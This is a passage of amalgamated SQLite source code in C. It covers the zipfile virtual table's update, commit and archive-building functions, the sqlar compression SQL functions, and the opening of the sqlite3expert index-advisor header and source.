i64 sz = 0; /* Uncompressed size */
const char *zPath = 0; /* Path for new entry */
int nPath = 0; /* strlen(zPath) */
const u8 *pData = 0; /* Pointer to buffer containing content */
int nData = 0; /* Size of pData buffer in bytes */
int iMethod = 0; /* Compression method for new entry */
u8 *pFree = 0; /* Free this */
char *zFree = 0; /* Also free this */
ZipfileEntry *pOld = 0;
ZipfileEntry *pOld2 = 0;
int bUpdate = 0; /* True for an update that modifies "name" */
int bIsDir = 0;
u32 iCrc32 = 0;
if( pTab->pWriteFd==0 ){
rc = zipfileBegin(pVtab);
if( rc!=SQLITE_OK ) return rc;
}
/* If this is a DELETE or UPDATE, find the archive entry to delete. */
if( sqlite3_value_type(apVal[0])!=SQLITE_NULL ){
const char *zDelete = (const char*)sqlite3_value_text(apVal[0]);
int nDelete = (int)strlen(zDelete);
if( nVal>1 ){
const char *zUpdate = (const char*)sqlite3_value_text(apVal[1]);
if( zUpdate && zipfileComparePath(zUpdate, zDelete, nDelete)!=0 ){
bUpdate = 1;
}
}
for(pOld=pTab->pFirstEntry; 1; pOld=pOld->pNext){
if( zipfileComparePath(pOld->cds.zFile, zDelete, nDelete)==0 ){
break;
}
assert( pOld->pNext );
}
}
if( nVal>1 ){
/* Check that "sz" and "rawdata" are both NULL: */
if( sqlite3_value_type(apVal[5])!=SQLITE_NULL ){
zipfileTableErr(pTab, "sz must be NULL");
rc = SQLITE_CONSTRAINT;
}
if( sqlite3_value_type(apVal[6])!=SQLITE_NULL ){
zipfileTableErr(pTab, "rawdata must be NULL");
rc = SQLITE_CONSTRAINT;
}
if( rc==SQLITE_OK ){
if( sqlite3_value_type(apVal[7])==SQLITE_NULL ){
/* data=NULL. A directory */
bIsDir = 1;
}else{
/* Value specified for "data", and possibly "method". This must be
** a regular file or a symlink. */
const u8 *aIn = sqlite3_value_blob(apVal[7]);
int nIn = sqlite3_value_bytes(apVal[7]);
int bAuto = sqlite3_value_type(apVal[8])==SQLITE_NULL;
iMethod = sqlite3_value_int(apVal[8]);
sz = nIn;
pData = aIn;
nData = nIn;
if( iMethod!=0 && iMethod!=8 ){
zipfileTableErr(pTab, "unknown compression method: %d", iMethod);
rc = SQLITE_CONSTRAINT;
}else{
if( bAuto || iMethod ){
int nCmp;
rc = zipfileDeflate(aIn, nIn, &pFree, &nCmp, &pTab->base.zErrMsg);
if( rc==SQLITE_OK ){
if( iMethod || nCmp<nIn ){
iMethod = 8;
pData = pFree;
nData = nCmp;
}
}
}
iCrc32 = crc32(0, aIn, nIn);
}
}
}
if( rc==SQLITE_OK ){
rc = zipfileGetMode(apVal[3], bIsDir, &mode, &pTab->base.zErrMsg);
}
if( rc==SQLITE_OK ){
zPath = (const char*)sqlite3_value_text(apVal[2]);
if( zPath==0 ) zPath = "";
nPath = (int)strlen(zPath);
mTime = zipfileGetTime(apVal[4]);
}
if( rc==SQLITE_OK && bIsDir ){
/* For a directory, check that the last character in the path is a
** '/'. This appears to be required for compatibility with info-zip
** (the unzip command on unix). It does not create directories
** otherwise. */
if( nPath<=0 || zPath[nPath-1]!='/' ){
zFree = sqlite3_mprintf("%s/", zPath);
zPath = (const char*)zFree;
if( zFree==0 ){
rc = SQLITE_NOMEM;
nPath = 0;
}else{
nPath = (int)strlen(zPath);
}
}
}
/* Check that we're not inserting a duplicate entry -OR- updating an
** entry with a path, thereby making it into a duplicate. */
if( (pOld==0 || bUpdate) && rc==SQLITE_OK ){
ZipfileEntry *p;
for(p=pTab->pFirstEntry; p; p=p->pNext){
if( zipfileComparePath(p->cds.zFile, zPath, nPath)==0 ){
switch( sqlite3_vtab_on_conflict(pTab->db) ){
case SQLITE_IGNORE: {
goto zipfile_update_done;
}
case SQLITE_REPLACE: {
pOld2 = p;
break;
}
default: {
zipfileTableErr(pTab, "duplicate name: \"%s\"", zPath);
rc = SQLITE_CONSTRAINT;
break;
}
}
break;
}
}
}
if( rc==SQLITE_OK ){
/* Create the new CDS record. */
pNew = zipfileNewEntry(zPath);
if( pNew==0 ){
rc = SQLITE_NOMEM;
}else{
pNew->cds.iVersionMadeBy = ZIPFILE_NEWENTRY_MADEBY;
pNew->cds.iVersionExtract = ZIPFILE_NEWENTRY_REQUIRED;
pNew->cds.flags = ZIPFILE_NEWENTRY_FLAGS;
pNew->cds.iCompression = (u16)iMethod;
zipfileMtimeToDos(&pNew->cds, mTime);
pNew->cds.crc32 = iCrc32;
pNew->cds.szCompressed = nData;
pNew->cds.szUncompressed = (u32)sz;
pNew->cds.iExternalAttr = (mode<<16);
pNew->cds.iOffset = (u32)pTab->szCurrent;
pNew->cds.nFile = (u16)nPath;
pNew->mUnixTime = (u32)mTime;
rc = zipfileAppendEntry(pTab, pNew, pData, nData);
zipfileAddEntry(pTab, pOld, pNew);
}
}
}
if( rc==SQLITE_OK && (pOld || pOld2) ){
ZipfileCsr *pCsr;
for(pCsr=pTab->pCsrList; pCsr; pCsr=pCsr->pCsrNext){
if( pCsr->pCurrent && (pCsr->pCurrent==pOld || pCsr->pCurrent==pOld2) ){
pCsr->pCurrent = pCsr->pCurrent->pNext;
pCsr->bNoop = 1;
}
}
zipfileRemoveEntryFromList(pTab, pOld);
zipfileRemoveEntryFromList(pTab, pOld2);
}
zipfile_update_done:
sqlite3_free(pFree);
sqlite3_free(zFree);
return rc;
}
static int zipfileSerializeEOCD(ZipfileEOCD *p, u8 *aBuf){
u8 *a = aBuf;
zipfileWrite32(a, ZIPFILE_SIGNATURE_EOCD);
zipfileWrite16(a, p->iDisk);
zipfileWrite16(a, p->iFirstDisk);
zipfileWrite16(a, p->nEntry);
zipfileWrite16(a, p->nEntryTotal);
zipfileWrite32(a, p->nSize);
zipfileWrite32(a, p->iOffset);
zipfileWrite16(a, 0); /* Size of trailing comment in bytes*/
return a-aBuf;
}
static int zipfileAppendEOCD(ZipfileTab *pTab, ZipfileEOCD *p){
int nBuf = zipfileSerializeEOCD(p, pTab->aBuffer);
assert( nBuf==ZIPFILE_EOCD_FIXED_SZ );
return zipfileAppendData(pTab, pTab->aBuffer, nBuf);
}
/*
** Serialize the CDS structure into buffer aBuf[]. Return the number
** of bytes written.
*/
static int zipfileSerializeCDS(ZipfileEntry *pEntry, u8 *aBuf){
u8 *a = aBuf;
ZipfileCDS *pCDS = &pEntry->cds;
if( pEntry->aExtra==0 ){
pCDS->nExtra = 9;
}
zipfileWrite32(a, ZIPFILE_SIGNATURE_CDS);
zipfileWrite16(a, pCDS->iVersionMadeBy);
zipfileWrite16(a, pCDS->iVersionExtract);
zipfileWrite16(a, pCDS->flags);
zipfileWrite16(a, pCDS->iCompression);
zipfileWrite16(a, pCDS->mTime);
zipfileWrite16(a, pCDS->mDate);
zipfileWrite32(a, pCDS->crc32);
zipfileWrite32(a, pCDS->szCompressed);
zipfileWrite32(a, pCDS->szUncompressed);
assert( a==&aBuf[ZIPFILE_CDS_NFILE_OFF] );
zipfileWrite16(a, pCDS->nFile);
zipfileWrite16(a, pCDS->nExtra);
zipfileWrite16(a, pCDS->nComment);
zipfileWrite16(a, pCDS->iDiskStart);
zipfileWrite16(a, pCDS->iInternalAttr);
zipfileWrite32(a, pCDS->iExternalAttr);
zipfileWrite32(a, pCDS->iOffset);
memcpy(a, pCDS->zFile, pCDS->nFile);
a += pCDS->nFile;
if( pEntry->aExtra ){
int n = (int)pCDS->nExtra + (int)pCDS->nComment;
memcpy(a, pEntry->aExtra, n);
a += n;
}else{
assert( pCDS->nExtra==9 );
zipfileWrite16(a, ZIPFILE_EXTRA_TIMESTAMP);
zipfileWrite16(a, 5);
*a++ = 0x01;
zipfileWrite32(a, pEntry->mUnixTime);
}
return a-aBuf;
}
static int zipfileCommit(sqlite3_vtab *pVtab){
ZipfileTab *pTab = (ZipfileTab*)pVtab;
int rc = SQLITE_OK;
if( pTab->pWriteFd ){
i64 iOffset = pTab->szCurrent;
ZipfileEntry *p;
ZipfileEOCD eocd;
int nEntry = 0;
/* Write out all entries */
for(p=pTab->pFirstEntry; rc==SQLITE_OK && p; p=p->pNext){
int n = zipfileSerializeCDS(p, pTab->aBuffer);
rc = zipfileAppendData(pTab, pTab->aBuffer, n);
nEntry++;
}
/* Write out the EOCD record */
eocd.iDisk = 0;
eocd.iFirstDisk = 0;
eocd.nEntry = (u16)nEntry;
eocd.nEntryTotal = (u16)nEntry;
eocd.nSize = (u32)(pTab->szCurrent - iOffset);
eocd.iOffset = (u32)iOffset;
rc = zipfileAppendEOCD(pTab, &eocd);
zipfileCleanupTransaction(pTab);
}
return rc;
}
static int zipfileRollback(sqlite3_vtab *pVtab){
return zipfileCommit(pVtab);
}
static ZipfileCsr *zipfileFindCursor(ZipfileTab *pTab, i64 iId){
ZipfileCsr *pCsr;
for(pCsr=pTab->pCsrList; pCsr; pCsr=pCsr->pCsrNext){
if( iId==pCsr->iId ) break;
}
return pCsr;
}
static void zipfileFunctionCds(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
ZipfileCsr *pCsr;
ZipfileTab *pTab = (ZipfileTab*)sqlite3_user_data(context);
assert( argc>0 );
pCsr = zipfileFindCursor(pTab, sqlite3_value_int64(argv[0]));
if( pCsr ){
ZipfileCDS *p = &pCsr->pCurrent->cds;
char *zRes = sqlite3_mprintf("{"
"\"version-made-by\" : %u, "
"\"version-to-extract\" : %u, "
"\"flags\" : %u, "
"\"compression\" : %u, "
"\"time\" : %u, "
"\"date\" : %u, "
"\"crc32\" : %u, "
"\"compressed-size\" : %u, "
"\"uncompressed-size\" : %u, "
"\"file-name-length\" : %u, "
"\"extra-field-length\" : %u, "
"\"file-comment-length\" : %u, "
"\"disk-number-start\" : %u, "
"\"internal-attr\" : %u, "
"\"external-attr\" : %u, "
"\"offset\" : %u }",
(u32)p->iVersionMadeBy, (u32)p->iVersionExtract,
(u32)p->flags, (u32)p->iCompression,
(u32)p->mTime, (u32)p->mDate,
(u32)p->crc32, (u32)p->szCompressed,
(u32)p->szUncompressed, (u32)p->nFile,
(u32)p->nExtra, (u32)p->nComment,
(u32)p->iDiskStart, (u32)p->iInternalAttr,
(u32)p->iExternalAttr, (u32)p->iOffset
);
if( zRes==0 ){
sqlite3_result_error_nomem(context);
}else{
sqlite3_result_text(context, zRes, -1, SQLITE_TRANSIENT);
sqlite3_free(zRes);
}
}
}
/*
** xFindFunction method.
*/
static int zipfileFindFunction(
sqlite3_vtab *pVtab, /* Virtual table handle */
int nArg, /* Number of SQL function arguments */
const char *zName, /* Name of SQL function */
void (**pxFunc)(sqlite3_context*,int,sqlite3_value**), /* OUT: Result */
void **ppArg /* OUT: User data for *pxFunc */
){
if( sqlite3_stricmp("zipfile_cds", zName)==0 ){
*pxFunc = zipfileFunctionCds;
*ppArg = (void*)pVtab;
return 1;
}
return 0;
}
typedef struct ZipfileBuffer ZipfileBuffer;
struct ZipfileBuffer {
u8 *a; /* Pointer to buffer */
int n; /* Size of buffer in bytes */
int nAlloc; /* Byte allocated at a[] */
};
typedef struct ZipfileCtx ZipfileCtx;
struct ZipfileCtx {
int nEntry;
ZipfileBuffer body;
ZipfileBuffer cds;
};
static int zipfileBufferGrow(ZipfileBuffer *pBuf, int nByte){
if( pBuf->n+nByte>pBuf->nAlloc ){
u8 *aNew;
sqlite3_int64 nNew = pBuf->n ? pBuf->n*2 : 512;
int nReq = pBuf->n + nByte;
while( nNew<nReq ) nNew = nNew*2;
aNew = sqlite3_realloc64(pBuf->a, nNew);
if( aNew==0 ) return SQLITE_NOMEM;
pBuf->a = aNew;
pBuf->nAlloc = (int)nNew;
}
return SQLITE_OK;
}
/*
** xStep() callback for the zipfile() aggregate. This can be called in
** any of the following ways:
**
** SELECT zipfile(name,data) ...
** SELECT zipfile(name,mode,mtime,data) ...
** SELECT zipfile(name,mode,mtime,data,method) ...
*/
void zipfileStep(sqlite3_context *pCtx, int nVal, sqlite3_value **apVal){
ZipfileCtx *p; /* Aggregate function context */
ZipfileEntry e; /* New entry to add to zip archive */
sqlite3_value *pName = 0;
sqlite3_value *pMode = 0;
sqlite3_value *pMtime = 0;
sqlite3_value *pData = 0;
sqlite3_value *pMethod = 0;
int bIsDir = 0;
u32 mode;
int rc = SQLITE_OK;
char *zErr = 0;
int iMethod = -1; /* Compression method to use (0 or 8) */
const u8 *aData = 0; /* Possibly compressed data for new entry */
int nData = 0; /* Size of aData[] in bytes */
int szUncompressed = 0; /* Size of data before compression */
u8 *aFree = 0; /* Free this before returning */
u32 iCrc32 = 0; /* crc32 of uncompressed data */
char *zName = 0; /* Path (name) of new entry */
int nName = 0; /* Size of zName in bytes */
char *zFree = 0; /* Free this before returning */
int nByte;
memset(&e, 0, sizeof(e));
p = (ZipfileCtx*)sqlite3_aggregate_context(pCtx, sizeof(ZipfileCtx));
if( p==0 ) return;
/* Martial the arguments into stack variables */
if( nVal!=2 && nVal!=4 && nVal!=5 ){
zErr = sqlite3_mprintf("wrong number of arguments to function zipfile()");
rc = SQLITE_ERROR;
goto zipfile_step_out;
}
pName = apVal[0];
if( nVal==2 ){
pData = apVal[1];
}else{
pMode = apVal[1];
pMtime = apVal[2];
pData = apVal[3];
if( nVal==5 ){
pMethod = apVal[4];
}
}
/* Check that the 'name' parameter looks ok. */
zName = (char*)sqlite3_value_text(pName);
nName = sqlite3_value_bytes(pName);
if( zName==0 ){
zErr = sqlite3_mprintf("first argument to zipfile() must be non-NULL");
rc = SQLITE_ERROR;
goto zipfile_step_out;
}
/* Inspect the 'method' parameter. This must be either 0 (store), 8 (use
** deflate compression) or NULL (choose automatically). */
if( pMethod && SQLITE_NULL!=sqlite3_value_type(pMethod) ){
iMethod = (int)sqlite3_value_int64(pMethod);
if( iMethod!=0 && iMethod!=8 ){
zErr = sqlite3_mprintf("illegal method value: %d", iMethod);
rc = SQLITE_ERROR;
goto zipfile_step_out;
}
}
/* Now inspect the data. If this is NULL, then the new entry must be a
** directory. Otherwise, figure out whether or not the data should
** be deflated or simply stored in the zip archive. */
if( sqlite3_value_type(pData)==SQLITE_NULL ){
bIsDir = 1;
iMethod = 0;
}else{
aData = sqlite3_value_blob(pData);
szUncompressed = nData = sqlite3_value_bytes(pData);
iCrc32 = crc32(0, aData, nData);
if( iMethod<0 || iMethod==8 ){
int nOut = 0;
rc = zipfileDeflate(aData, nData, &aFree, &nOut, &zErr);
if( rc!=SQLITE_OK ){
goto zipfile_step_out;
}
if( iMethod==8 || nOut<nData ){
aData = aFree;
nData = nOut;
iMethod = 8;
}else{
iMethod = 0;
}
}
}
/* Decode the "mode" argument. */
rc = zipfileGetMode(pMode, bIsDir, &mode, &zErr);
if( rc ) goto zipfile_step_out;
/* Decode the "mtime" argument. */
e.mUnixTime = zipfileGetTime(pMtime);
/* If this is a directory entry, ensure that there is exactly one '/'
** at the end of the path. Or, if this is not a directory and the path
** ends in '/' it is an error. */
if( bIsDir==0 ){
if( nName>0 && zName[nName-1]=='/' ){
zErr = sqlite3_mprintf("non-directory name must not end with /");
rc = SQLITE_ERROR;
goto zipfile_step_out;
}
}else{
if( nName==0 || zName[nName-1]!='/' ){
zName = zFree = sqlite3_mprintf("%s/", zName);
if( zName==0 ){
rc = SQLITE_NOMEM;
goto zipfile_step_out;
}
nName = (int)strlen(zName);
}else{
while( nName>1 && zName[nName-2]=='/' ) nName--;
}
}
/* Assemble the ZipfileEntry object for the new zip archive entry */
e.cds.iVersionMadeBy = ZIPFILE_NEWENTRY_MADEBY;
e.cds.iVersionExtract = ZIPFILE_NEWENTRY_REQUIRED;
e.cds.flags = ZIPFILE_NEWENTRY_FLAGS;
e.cds.iCompression = (u16)iMethod;
zipfileMtimeToDos(&e.cds, (u32)e.mUnixTime);
e.cds.crc32 = iCrc32;
e.cds.szCompressed = nData;
e.cds.szUncompressed = szUncompressed;
e.cds.iExternalAttr = (mode<<16);
e.cds.iOffset = p->body.n;
e.cds.nFile = (u16)nName;
e.cds.zFile = zName;
/* Append the LFH to the body of the new archive */
nByte = ZIPFILE_LFH_FIXED_SZ + e.cds.nFile + 9;
if( (rc = zipfileBufferGrow(&p->body, nByte)) ) goto zipfile_step_out;
p->body.n += zipfileSerializeLFH(&e, &p->body.a[p->body.n]);
/* Append the data to the body of the new archive */
if( nData>0 ){
if( (rc = zipfileBufferGrow(&p->body, nData)) ) goto zipfile_step_out;
memcpy(&p->body.a[p->body.n], aData, nData);
p->body.n += nData;
}
/* Append the CDS record to the directory of the new archive */
nByte = ZIPFILE_CDS_FIXED_SZ + e.cds.nFile + 9;
if( (rc = zipfileBufferGrow(&p->cds, nByte)) ) goto zipfile_step_out;
p->cds.n += zipfileSerializeCDS(&e, &p->cds.a[p->cds.n]);
/* Increment the count of entries in the archive */
p->nEntry++;
zipfile_step_out:
sqlite3_free(aFree);
sqlite3_free(zFree);
if( rc ){
if( zErr ){
sqlite3_result_error(pCtx, zErr, -1);
}else{
sqlite3_result_error_code(pCtx, rc);
}
}
sqlite3_free(zErr);
}
/*
** xFinalize() callback for zipfile aggregate function.
*/
void zipfileFinal(sqlite3_context *pCtx){
ZipfileCtx *p;
ZipfileEOCD eocd;
sqlite3_int64 nZip;
u8 *aZip;
p = (ZipfileCtx*)sqlite3_aggregate_context(pCtx, sizeof(ZipfileCtx));
if( p==0 ) return;
if( p->nEntry>0 ){
memset(&eocd, 0, sizeof(eocd));
eocd.nEntry = (u16)p->nEntry;
eocd.nEntryTotal = (u16)p->nEntry;
eocd.nSize = p->cds.n;
eocd.iOffset = p->body.n;
nZip = p->body.n + p->cds.n + ZIPFILE_EOCD_FIXED_SZ;
aZip = (u8*)sqlite3_malloc64(nZip);
if( aZip==0 ){
sqlite3_result_error_nomem(pCtx);
}else{
memcpy(aZip, p->body.a, p->body.n);
memcpy(&aZip[p->body.n], p->cds.a, p->cds.n);
zipfileSerializeEOCD(&eocd, &aZip[p->body.n + p->cds.n]);
sqlite3_result_blob(pCtx, aZip, (int)nZip, zipfileFree);
}
}
sqlite3_free(p->body.a);
sqlite3_free(p->cds.a);
}
/*
** Register the "zipfile" virtual table.
*/
static int zipfileRegister(sqlite3 *db){
static sqlite3_module zipfileModule = {
1, /* iVersion */
zipfileConnect, /* xCreate */
zipfileConnect, /* xConnect */
zipfileBestIndex, /* xBestIndex */
zipfileDisconnect, /* xDisconnect */
zipfileDisconnect, /* xDestroy */
zipfileOpen, /* xOpen - open a cursor */
zipfileClose, /* xClose - close a cursor */
zipfileFilter, /* xFilter - configure scan constraints */
zipfileNext, /* xNext - advance a cursor */
zipfileEof, /* xEof - check for end of scan */
zipfileColumn, /* xColumn - read data */
0, /* xRowid - read data */
zipfileUpdate, /* xUpdate */
zipfileBegin, /* xBegin */
0, /* xSync */
zipfileCommit, /* xCommit */
zipfileRollback, /* xRollback */
zipfileFindFunction, /* xFindMethod */
0, /* xRename */
};
int rc = sqlite3_create_module(db, "zipfile" , &zipfileModule, 0);
if( rc==SQLITE_OK ) rc = sqlite3_overload_function(db, "zipfile_cds", -1);
if( rc==SQLITE_OK ){
rc = sqlite3_create_function(db, "zipfile", -1, SQLITE_UTF8, 0, 0,
zipfileStep, zipfileFinal
);
}
assert( sizeof(i64)==8 );
assert( sizeof(u32)==4 );
assert( sizeof(u16)==2 );
assert( sizeof(u8)==1 );
return rc;
}
#else /* SQLITE_OMIT_VIRTUALTABLE */
# define zipfileRegister(x) SQLITE_OK
#endif
#ifdef _WIN32
#endif
int sqlite3_zipfile_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
SQLITE_EXTENSION_INIT2(pApi);
(void)pzErrMsg; /* Unused parameter */
return zipfileRegister(db);
}
/************************* End ../ext/misc/zipfile.c ********************/
/************************* Begin ../ext/misc/sqlar.c ******************/
/*
** 2017-12-17
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
******************************************************************************
**
** Utility functions sqlar_compress() and sqlar_uncompress(). Useful
** for working with sqlar archives and used by the shell tool's built-in
** sqlar support.
*/
/* #include "sqlite3ext.h" */
SQLITE_EXTENSION_INIT1
#include <zlib.h>
#include <assert.h>
/*
** Implementation of the "sqlar_compress(X)" SQL function.
**
** If the type of X is SQLITE_BLOB, and compressing that blob using
** zlib utility function compress() yields a smaller blob, return the
** compressed blob. Otherwise, return a copy of X.
**
** SQLar uses the "zlib format" for compressed content. The zlib format
** contains a two-byte identification header and a four-byte checksum at
** the end. This is different from ZIP which uses the raw deflate format.
**
** Future enhancements to SQLar might add support for new compression formats.
** If so, those new formats will be identified by alternative headers in the
** compressed data.
*/
static void sqlarCompressFunc(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
assert( argc==1 );
if( sqlite3_value_type(argv[0])==SQLITE_BLOB ){
const Bytef *pData = sqlite3_value_blob(argv[0]);
uLong nData = sqlite3_value_bytes(argv[0]);
uLongf nOut = compressBound(nData);
Bytef *pOut;
pOut = (Bytef*)sqlite3_malloc(nOut);
if( pOut==0 ){
sqlite3_result_error_nomem(context);
return;
}else{
if( Z_OK!=compress(pOut, &nOut, pData, nData) ){
sqlite3_result_error(context, "error in compress()", -1);
}else if( nOut<nData ){
sqlite3_result_blob(context, pOut, nOut, SQLITE_TRANSIENT);
}else{
sqlite3_result_value(context, argv[0]);
}
sqlite3_free(pOut);
}
}else{
sqlite3_result_value(context, argv[0]);
}
}
/*
** Implementation of the "sqlar_uncompress(X,SZ)" SQL function
**
** Parameter SZ is interpreted as an integer. If it is less than or
** equal to zero, then this function returns a copy of X. Or, if
** SZ is equal to the size of X when interpreted as a blob, also
** return a copy of X. Otherwise, decompress blob X using zlib
** utility function uncompress() and return the results (another
** blob).
*/
static void sqlarUncompressFunc(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
uLong nData;
uLongf sz;
assert( argc==2 );
sz = sqlite3_value_int(argv[1]);
if( sz<=0 || sz==(nData = sqlite3_value_bytes(argv[0])) ){
sqlite3_result_value(context, argv[0]);
}else{
const Bytef *pData= sqlite3_value_blob(argv[0]);
Bytef *pOut = sqlite3_malloc(sz);
if( Z_OK!=uncompress(pOut, &sz, pData, nData) ){
sqlite3_result_error(context, "error in uncompress()", -1);
}else{
sqlite3_result_blob(context, pOut, sz, SQLITE_TRANSIENT);
}
sqlite3_free(pOut);
}
}
#ifdef _WIN32
#endif
int sqlite3_sqlar_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);
(void)pzErrMsg; /* Unused parameter */
rc = sqlite3_create_function(db, "sqlar_compress", 1,
SQLITE_UTF8|SQLITE_INNOCUOUS, 0,
sqlarCompressFunc, 0, 0);
if( rc==SQLITE_OK ){
rc = sqlite3_create_function(db, "sqlar_uncompress", 2,
SQLITE_UTF8|SQLITE_INNOCUOUS, 0,
sqlarUncompressFunc, 0, 0);
}
return rc;
}
/************************* End ../ext/misc/sqlar.c ********************/
#endif
/************************* Begin ../ext/expert/sqlite3expert.h ******************/
/*
** 2017 April 07
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
*************************************************************************
*/
#if !defined(SQLITEEXPERT_H)
#define SQLITEEXPERT_H 1
/* #include "sqlite3.h" */
typedef struct sqlite3expert sqlite3expert;
/*
** Create a new sqlite3expert object.
**
** If successful, a pointer to the new object is returned and (*pzErr) set
** to NULL. Or, if an error occurs, NULL is returned and (*pzErr) set to
** an English-language error message. In this case it is the responsibility
** of the caller to eventually free the error message buffer using
** sqlite3_free().
*/
sqlite3expert *sqlite3_expert_new(sqlite3 *db, char **pzErr);
/*
** Configure an sqlite3expert object.
**
** EXPERT_CONFIG_SAMPLE:
** By default, sqlite3_expert_analyze() generates sqlite_stat1 data for
** each candidate index. This involves scanning and sorting the entire
** contents of each user database table once for each candidate index
** associated with the table. For large databases, this can be
** prohibitively slow. This option allows the sqlite3expert object to
** be configured so that sqlite_stat1 data is instead generated based on a
** subset of each table, or so that no sqlite_stat1 data is used at all.
**
** A single integer argument is passed to this option. If the value is less
** than or equal to zero, then no sqlite_stat1 data is generated or used by
** the analysis - indexes are recommended based on the database schema only.
** Or, if the value is 100 or greater, complete sqlite_stat1 data is
** generated for each candidate index (this is the default). Finally, if the
** value falls between 0 and 100, then it represents the percentage of user
** table rows that should be considered when generating sqlite_stat1 data.
**
** Examples:
**
** // Do not generate any sqlite_stat1 data
** sqlite3_expert_config(pExpert, EXPERT_CONFIG_SAMPLE, 0);
**
** // Generate sqlite_stat1 data based on 10% of the rows in each table.
** sqlite3_expert_config(pExpert, EXPERT_CONFIG_SAMPLE, 10);
*/
int sqlite3_expert_config(sqlite3expert *p, int op, ...);
#define EXPERT_CONFIG_SAMPLE 1 /* int */
/*
** Specify zero or more SQL statements to be included in the analysis.
**
** Buffer zSql must contain zero or more complete SQL statements. This
** function parses all statements contained in the buffer and adds them
** to the internal list of statements to analyze. If successful, SQLITE_OK
** is returned and (*pzErr) set to NULL. Or, if an error occurs - for example
** due to a error in the SQL - an SQLite error code is returned and (*pzErr)
** may be set to point to an English language error message. In this case
** the caller is responsible for eventually freeing the error message buffer
** using sqlite3_free().
**
** If an error does occur while processing one of the statements in the
** buffer passed as the second argument, none of the statements in the
** buffer are added to the analysis.
**
** This function must be called before sqlite3_expert_analyze(). If a call
** to this function is made on an sqlite3expert object that has already
** been passed to sqlite3_expert_analyze() SQLITE_MISUSE is returned
** immediately and no statements are added to the analysis.
*/
int sqlite3_expert_sql(
sqlite3expert *p, /* From a successful sqlite3_expert_new() */
const char *zSql, /* SQL statement(s) to add */
char **pzErr /* OUT: Error message (if any) */
);
/*
** This function is called after the sqlite3expert object has been configured
** with all SQL statements using sqlite3_expert_sql() to actually perform
** the analysis. Once this function has been called, it is not possible to
** add further SQL statements to the analysis.
**
** If successful, SQLITE_OK is returned and (*pzErr) is set to NULL. Or, if
** an error occurs, an SQLite error code is returned and (*pzErr) set to
** point to a buffer containing an English language error message. In this
** case it is the responsibility of the caller to eventually free the buffer
** using sqlite3_free().
**
** If an error does occur within this function, the sqlite3expert object
** is no longer useful for any purpose. At that point it is no longer
** possible to add further SQL statements to the object or to re-attempt
** the analysis. The sqlite3expert object must still be freed using a call
** sqlite3_expert_destroy().
*/
int sqlite3_expert_analyze(sqlite3expert *p, char **pzErr);
/*
** Return the total number of statements loaded using sqlite3_expert_sql().
** The total number of SQL statements may be different from the total number
** to calls to sqlite3_expert_sql().
*/
int sqlite3_expert_count(sqlite3expert*);
/*
** Return a component of the report.
**
** This function is called after sqlite3_expert_analyze() to extract the
** results of the analysis. Each call to this function returns either a
** NULL pointer or a pointer to a buffer containing a nul-terminated string.
** The value passed as the third argument must be one of the EXPERT_REPORT_*
** #define constants defined below.
**
** For some EXPERT_REPORT_* parameters, the buffer returned contains
** information relating to a specific SQL statement. In these cases that
** SQL statement is identified by the value passed as the second argument.
** SQL statements are numbered from 0 in the order in which they are parsed.
** If an out-of-range value (less than zero or equal to or greater than the
** value returned by sqlite3_expert_count()) is passed as the second argument
** along with such an EXPERT_REPORT_* parameter, NULL is always returned.
**
** EXPERT_REPORT_SQL:
** Return the text of SQL statement iStmt.
**
** EXPERT_REPORT_INDEXES:
** Return a buffer containing the CREATE INDEX statements for all recommended
** indexes for statement iStmt. If there are no new recommeded indexes, NULL
** is returned.
**
** EXPERT_REPORT_PLAN:
** Return a buffer containing the EXPLAIN QUERY PLAN output for SQL query
** iStmt after the proposed indexes have been added to the database schema.
**
** EXPERT_REPORT_CANDIDATES:
** Return a pointer to a buffer containing the CREATE INDEX statements
** for all indexes that were tested (for all SQL statements). The iStmt
** parameter is ignored for EXPERT_REPORT_CANDIDATES calls.
*/
const char *sqlite3_expert_report(sqlite3expert*, int iStmt, int eReport);
/*
** Values for the third argument passed to sqlite3_expert_report().
*/
#define EXPERT_REPORT_SQL 1
#define EXPERT_REPORT_INDEXES 2
#define EXPERT_REPORT_PLAN 3
#define EXPERT_REPORT_CANDIDATES 4
/*
** Free an (sqlite3expert*) handle and all associated resources. There
** should be one call to this function for each successful call to
** sqlite3-expert_new().
*/
void sqlite3_expert_destroy(sqlite3expert*);
#endif /* !defined(SQLITEEXPERT_H) */
/************************* End ../ext/expert/sqlite3expert.h ********************/
/************************* Begin ../ext/expert/sqlite3expert.c ******************/
/*
** 2017 April 09
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
*************************************************************************
*/
/* #include "sqlite3expert.h" */
#include <assert.h>
#include <string.h>
#include <stdio.h>
#ifndef SQLITE_OMIT_VIRTUALTABLE
/* typedef sqlite3_int64 i64; */
/* typedef sqlite3_uint64 u64; */
typedef struct IdxColumn IdxColumn;
typedef struct IdxConstraint IdxConstraint;
typedef struct IdxScan IdxScan;
typedef struct IdxStatement IdxStatement;
typedef struct IdxTable IdxTable;
typedef struct IdxWrite IdxWrite;
#define STRLEN (int)strlen
/*
** A temp table name that we assume no user database will actually use.
** If this assumption proves incorrect triggers on the table with the
** conflicting name will be ignored.
*/
#define UNIQUE_TABLE_NAME "t592690916721053953805701627921227776"
/*
** A single constraint. Equivalent to either "col = ?" or "col < ?" (or
** any other type of single-ended range constraint on a column).
**
** pLink:
** Used to temporarily link IdxConstraint objects into lists while
** creating candidate indexes.
*/
struct IdxConstraint {
char *zColl; /* Collation sequence */
int bRange; /* True for range, false for eq */
int iCol; /* Constrained table column */
int bFlag; /* Used by idxFindCompatible() */
int bDesc; /* True if ORDER BY <expr> DESC */
IdxConstraint *pNext; /* Next constraint in pEq or pRange list */
IdxConstraint *pLink; /* See above */
};
/*
** A single scan of a single table.
